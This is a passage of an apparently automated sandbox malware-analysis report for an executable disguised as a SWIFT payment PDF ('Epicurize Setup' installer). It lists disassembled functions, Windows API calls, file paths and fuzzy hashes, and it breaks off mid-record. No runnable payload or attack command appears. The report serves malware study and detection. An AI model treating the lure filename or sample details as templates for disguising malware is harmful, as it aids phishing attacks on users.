SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,007A1F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 98e14e1640eb646ee3811aa623ba2e5d1e9cc6367b1deba79bcf05c34458357a
Instruction ID: dd0e79dd03d73333c37d03741989dce367d08c72bd534bd23d7a1991bc4c48e1
Opcode Fuzzy Hash: 98e14e1640eb646ee3811aa623ba2e5d1e9cc6367b1deba79bcf05c34458357a
Instruction Fuzzy Hash: E5419A71804249AFCB058F95CD459BFBFB9FF45310F00812AF962AA1A0C738EA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 1000236D Relevance: 15.1, APIs: 10, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 100023D2
GlobalAlloc.KERNEL32(00000040,?,?,?,?,00000000,00000001,100017D5,00000000), ref: 100023EA
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,100017D5,00000000), ref: 100023FB
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000000,00000001,100017D5,00000000), ref: 10002410
GlobalFree.KERNEL32(00000000), ref: 10002417

Part of subcall function 100012E8: lstrcpyA.KERNEL32(-1000404B,00000000,?,10001199,?,00000000), ref: 10001310

GlobalFree.KERNEL32(?), ref: 1000248E
GlobalFree.KERNEL32(00000000), ref: 100024B7

Memory Dump Source

Source File: 00000006.00000002.134294229538.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.134294192586.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294264369.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294303301.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Global$Free$AllocByteCharFromMultiStringWidelstrcpywsprintf
String ID:
API String ID: 2278267121-0
Opcode ID: 3ee0894ed4fe1b0af880131e50e06ec5e86c9efe6cc015858b811f9b411bf8ba
Instruction ID: 2b73d6ec50a8d2f500b210c633f34be0aa2160400c3477ecc395e3c682f4b703
Opcode Fuzzy Hash: 3ee0894ed4fe1b0af880131e50e06ec5e86c9efe6cc015858b811f9b411bf8ba
Instruction Fuzzy Hash: DE41ADB1109216EFF715DFA4CC88E2BBBECFB042D57124619FA51921A9DB35AC409B31

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE2 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E3A
CharNextA.USER32(?,?,?,00000000), ref: 00405E47
CharNextA.USER32(?,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E4C
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E5C

Strings

*?|<>/":, xrefs: 00405E2A
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DE3, 00405DE8
"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe", xrefs: 00405E1E

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3202841998
Opcode ID: 2024885374f02dac88d9fb103eccae40028a2ab1d30660e2dcec4d8ea4488381
Instruction ID: 982ed4f0ea0d1ffb3a75412ce8e95c0ea6245537b44222f6b90d7ae264b7a878
Opcode Fuzzy Hash: 2024885374f02dac88d9fb103eccae40028a2ab1d30660e2dcec4d8ea4488381
Instruction Fuzzy Hash: 7511B671804B9129EB3217248C44B776F98CB9A7A0F18047BE5C5723C2C67C5E828EED

Uniqueness

Uniqueness Score: -1.00%

Function 00403EEE Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F0B
GetSysColor.USER32(00000000), ref: 00403F27
SetTextColor.GDI32(?,00000000), ref: 00403F33
SetBkMode.GDI32(?,?), ref: 00403F3F
GetSysColor.USER32(?), ref: 00403F52
SetBkColor.GDI32(?,?), ref: 00403F62
DeleteObject.GDI32(?), ref: 00403F7C
CreateBrushIndirect.GDI32(?), ref: 00403F86

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction ID: 43f1f9eadd2e023582460ec461a07703dc87d5103ca70cdaf59bc9c3c4c10c95
Opcode Fuzzy Hash: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction Fuzzy Hash: B1219971904705AFC7219F68DD08B5BBFF8AF01715F04852AF995E22D1C378E944CB55

Uniqueness

Uniqueness Score: -1.00%

Function 100021AF Relevance: 10.6, APIs: 7, Instructions: 136memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 10002264
GlobalAlloc.KERNEL32(00000040,?), ref: 1000228E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022A3
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022B2
CLSIDFromString.OLE32(00000000,00000000), ref: 100022BF
GlobalFree.KERNEL32(00000000), ref: 100022C6
GlobalFree.KERNEL32(00000000), ref: 100022FD

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012E1,?,100011AB,-000000A0), ref: 10001234

Memory Dump Source

Source File: 00000006.00000002.134294229538.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.134294192586.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294264369.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294303301.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpynlstrlen
String ID:
API String ID: 3955009414-0
Opcode ID: 6f954f9c0618815bde6281dca4a505d58a7e7623750b0b9f916781d510563757
Instruction ID: a605aeec0f08bdd00b0ee3428b37a4786007c3c680f5ed26bc2609ce7b065058
Opcode Fuzzy Hash: 6f954f9c0618815bde6281dca4a505d58a7e7623750b0b9f916781d510563757
Instruction Fuzzy Hash: 5741AD70504306EFF364DFA48984B6BB7F8FB453E1F21492AF956C619ADB30A840DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040268D Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026E1
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026FD
GlobalFree.KERNEL32(?), ref: 00402736
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402748
GlobalFree.KERNEL32(00000000), ref: 0040274F
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402767
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040277B

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 2edcbcb0ce5bc09c9fed5e436934c6b2b427d54b956c9de44b59f354a0a616e3
Instruction ID: 94283e328d35fee59e2da4f8035aa06736476ebf885dd15e4876c46effbb42d0
Opcode Fuzzy Hash: 2edcbcb0ce5bc09c9fed5e436934c6b2b427d54b956c9de44b59f354a0a616e3
Instruction Fuzzy Hash: E4319171C00128BBCF216FA5DD89DAE7E79EF05364F20423AF520762E1C7791D408BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040474F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040476A
GetMessagePos.USER32 ref: 00404772
ScreenToClient.USER32(?,?), ref: 0040478C
SendMessageA.USER32(?,00001111,00000000,?), ref: 0040479E
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004047C4

Strings

f, xrefs: 004047A0

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction ID: 6bd71cb3d479751b3b69d93d67c88433f783f46e4abb255f82c81c082e4bdd88
Opcode Fuzzy Hash: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction Fuzzy Hash: C5014075D00218BADB01DBA4DC45FFEBBBCAB55711F10412BBB10B71C0C7B865018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B4C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B67
MulDiv.KERNEL32(00066488,00000064,00066ED8), ref: 00402B92
wsprintfA.USER32 ref: 00402BA2
SetWindowTextA.USER32(?,?), ref: 00402BB2
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BC4

Strings

verifying installer: %d%%, xrefs: 00402B9C

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: b2596dc42376c4ed7c7376505dbeede42f27e887c2baf36158ddba7532441070
Instruction ID: 338c4dd4cc7a1f9a3f94f7e8e9aba01fa07f8a2d27e46d6da828e47d9d426f75
Opcode Fuzzy Hash: b2596dc42376c4ed7c7376505dbeede42f27e887c2baf36158ddba7532441070
Instruction Fuzzy Hash: 32014F70540208ABEF249F61DD0AEAE37B9AB00304F00803AFA06A92D1D7B9A9518B59

Uniqueness

Uniqueness Score: -1.00%

Function 00401D26 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D29
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D36
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D45
ReleaseDC.USER32(?,00000000), ref: 00401D56
CreateFontIndirectA.GDI32(0040AFA0), ref: 00401DA1

Strings

Tahoma, xrefs: 00401D87

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 4b6deaec8962dedea7c43a262c6b0a52d1d618742be22b81ec12100f8d4d3c7f
Instruction ID: 4f22f7d967d41569425e1cc72a43e48c322de2a0bc5ea7779ffcdbaac11077e3
Opcode Fuzzy Hash: 4b6deaec8962dedea7c43a262c6b0a52d1d618742be22b81ec12100f8d4d3c7f
Instruction Fuzzy Hash: 760162B1958341AFE7015BB0AE1ABAF7F74A725705F100439F145BA2E2C67C14158B2B

Uniqueness

Uniqueness Score: -1.00%

Function 0040466D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Epicurize Setup: Installing,Epicurize Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,0040458D,000000DF,0000040F,00000400,00000000), ref: 004046FB
wsprintfA.USER32 ref: 00404703
SetDlgItemTextA.USER32(?,Epicurize Setup: Installing), ref: 00404716

Strings

%u.%u%s%s, xrefs: 004046E5
Epicurize Setup: Installing, xrefs: 004046EA, 004046F2, 004046F8, 0040470C

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Epicurize Setup: Installing
API String ID: 3540041739-960351846
Opcode ID: 474395ea6faa9e18b1b5e0ae74fba140c7d1b20ae92ef33f0ec5adb6ffe99bf7
Instruction ID: 808364b1aeea65b13bf83ed040d55ad759ad6ec36480b824a7a4bb04bc91d3c3
Opcode Fuzzy Hash: 474395ea6faa9e18b1b5e0ae74fba140c7d1b20ae92ef33f0ec5adb6ffe99bf7
Instruction Fuzzy Hash: 8B1108736002243BDB0065699C06EEF329DDBC3375F14023BFA29F61D1E9799C5182E9

Uniqueness

Uniqueness Score: -1.00%

Function 00401CCC Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CD0
GetClientRect.USER32(00000000,?), ref: 00401CDD
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CFE
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D0C
DeleteObject.GDI32(00000000), ref: 00401D1B

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 021e644993cfb9adf629f3f775699f6f2d9ab0f22eaab13517154c12b5018b7c
Instruction ID: 7c3280a60d84a3596340f685d6ada4bc9ba3972ea03b1155ec5ca5a37b5200ea
Opcode Fuzzy Hash: 021e644993cfb9adf629f3f775699f6f2d9ab0f22eaab13517154c12b5018b7c
Instruction Fuzzy Hash: 01F04FB2905104AFD701EBA4EE88CAFB7BCEB44301B004476F601F2091C638AD018B79

Uniqueness

Uniqueness Score: -1.00%

Function 004038E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,007A1F00), ref: 0040397F

Strings

Epicurize Setup: Installing, xrefs: 004038EA
"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe", xrefs: 004038E8
1033, xrefs: 004038EB, 004038F5, 00403966

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"$1033$Epicurize Setup: Installing
API String ID: 530164218-565599772
Opcode ID: 70daa21561afbffaee6324691816ec535f2df065c97ff5b03bec79a516da71ec
Instruction ID: 3eeb35b712935f7be9db67fea1ba5421606f6b55dcd8c4013f5d2095cba695b6
